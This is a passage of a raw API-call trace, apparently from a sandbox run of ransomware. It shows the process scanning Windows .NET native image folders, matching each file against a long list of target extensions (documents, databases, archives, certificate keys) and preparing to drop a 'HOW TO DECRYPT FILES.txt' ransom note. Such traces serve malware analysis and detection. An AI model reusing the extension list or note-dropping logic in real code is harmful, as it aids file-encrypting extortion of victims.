(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.919] lstrlenA (lpString="*.dbx") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0102.919] lstrlenA (lpString="*.sql") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.919] lstrlenA (lpString="*.mdb") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.919] lstrlenA (lpString="*.fdb") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0102.919] lstrlenA (lpString="*.wab") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0102.919] lstrlenA (lpString="*.dat") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0102.919] lstrlenA (lpString="*.txt") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.919] lstrlenA (lpString="*.jpeg") returned 6 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.919] lstrlenA (lpString="*.jpg") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0102.919] lstrlenA (lpString="*.png") returned 5 [0102.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0102.919] lstrlenA (lpString="*.php") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0102.920] lstrlenA (lpString="*.cs") returned 4 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.920] lstrlenA (lpString="*.cpp") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0102.920] lstrlenA (lpString="*.rar") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0102.920] lstrlenA (lpString="*.zip") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0102.920] lstrlenA (lpString="*.html") returned 6 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0102.920] lstrlenA (lpString="*.htm") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.920] lstrlenA (lpString="*.xlsx") returned 6 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0102.920] lstrlenA (lpString="*.xls") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.920] lstrlenA (lpString="*.mp4") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.920] lstrlenA (lpString="*.ppt") returned 5 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.920] lstrlenA (lpString="*.pptx") returned 6 [0102.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0102.920] lstrlenA (lpString="*.doc") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0102.921] lstrlenA (lpString="*.dot") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0102.921] lstrlenA (lpString="*.docx") returned 6 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0102.921] lstrlenA (lpString="*.7z") returned 4 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0102.921] lstrlenA (lpString="*.tar") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.921] lstrlenA (lpString="*.bz2") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0102.921] lstrlenA (lpString="*.gz") returned 4 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.921] lstrlenA (lpString="*.mkv") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.921] lstrlenA (lpString="*.eml") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0102.921] lstrlenA (lpString="*.msg") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0102.921] lstrlenA (lpString="*.edb") returned 5 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.921] lstrlenA (lpString="*.accdb") returned 7 [0102.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0102.922] lstrlenA (lpString="*.odb") returned 5 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0102.922] lstrlenA (lpString="*.java") returned 6 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0102.922] lstrlenA (lpString="*.asm") returned 5 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.922] lstrlenA (lpString="*.pfx") returned 5 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0102.926] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x450dc760, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x450dc760, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x450dc760, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x2bc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0102.928] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.928] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cbe5880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4cbe5880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4cbe5880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="319ab5fb21ce36292e0c1c9e07010a3c", cAlternateFileName="319AB5~1")) returned 1 [0102.928] lstrcmpA (lpString1=".", lpString2="319ab5fb21ce36292e0c1c9e07010a3c") returned -1 [0102.929] lstrcmpA (lpString1="..", lpString2="319ab5fb21ce36292e0c1c9e07010a3c") returned -1 [0102.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0102.929] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="319ab5fb21ce36292e0c1c9e07010a3c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c" [0102.929] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cbe5880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4cbe5880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4cbe5880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cbe5880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4cbe5880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4cbe5880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.930] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb73460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4cb73460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4cb73460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.930] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.930] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0102.930] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0102.930] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned -1 [0102.930] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\*.*") returned="*.*" [0102.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\" [0102.930] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\") returned="" [0102.930] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\HOW TO DECRYPT FILES.txt") 